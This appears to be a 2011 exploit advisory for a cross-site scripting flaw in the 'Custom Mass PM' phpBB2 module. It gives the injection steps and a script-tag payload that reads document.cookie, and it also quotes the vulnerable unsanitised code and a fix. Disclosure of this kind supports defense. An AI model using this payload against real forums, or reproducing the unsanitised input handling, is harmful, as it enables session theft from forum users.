PhpBB2 Custom Mass PM 1.4.7 Cross Site Scripting

^ Exploit title: PhpBB2 Module "Custom Mass PM" Cross Site Scripting Vulnerability ^ Author : Silic0n (science_media017[At]yahoo.com) ^ MOD Title: Custom mass PM ^ MOD Description: Add mass PM functionnality to group members (or all forums members) for authorized users. Add the possibility for all users to send ordinary PM to multiple users (usernames separated by a semi-colon) ^ MOD Version: 1.4.7 ^ Exploit Release: 8/27/2011 ^ Vulnearble script: privmsg.php -------------------- ^ Payload -------------------- 0x1 : Goto forum_script/Privmsg.php 0x2 : Username Input Box write Malicious JS eg :<script>alert(document.cookie)</script> -------------------- ^ Vulnearble code -------------------- $to_username_array = explode (";", $HTTP_POST_VARS['username']); -------------------- Fix : -------------------- $to_username = phpbb_clean_username($HTTP_POST_VARS['username']); $to_username_array = explode (";", $to_username); Special Thnanks To mafi, Gaurav_raj420 , Exidous , Mr 52 (7) , Dalsim , Zetra , root4o , D4rk, Danzel, messsy , Thor ,abronsius ,Nova , jaya ,@ry@n ,entr0py, -[SiLeNtp0is0n]- ,Ne0_Hacker, InX_R00t,DODo(:P) All ZH , DK & G4H members :) ------------ ^ Site ------------ www.igniteds.net (ConsoleFx)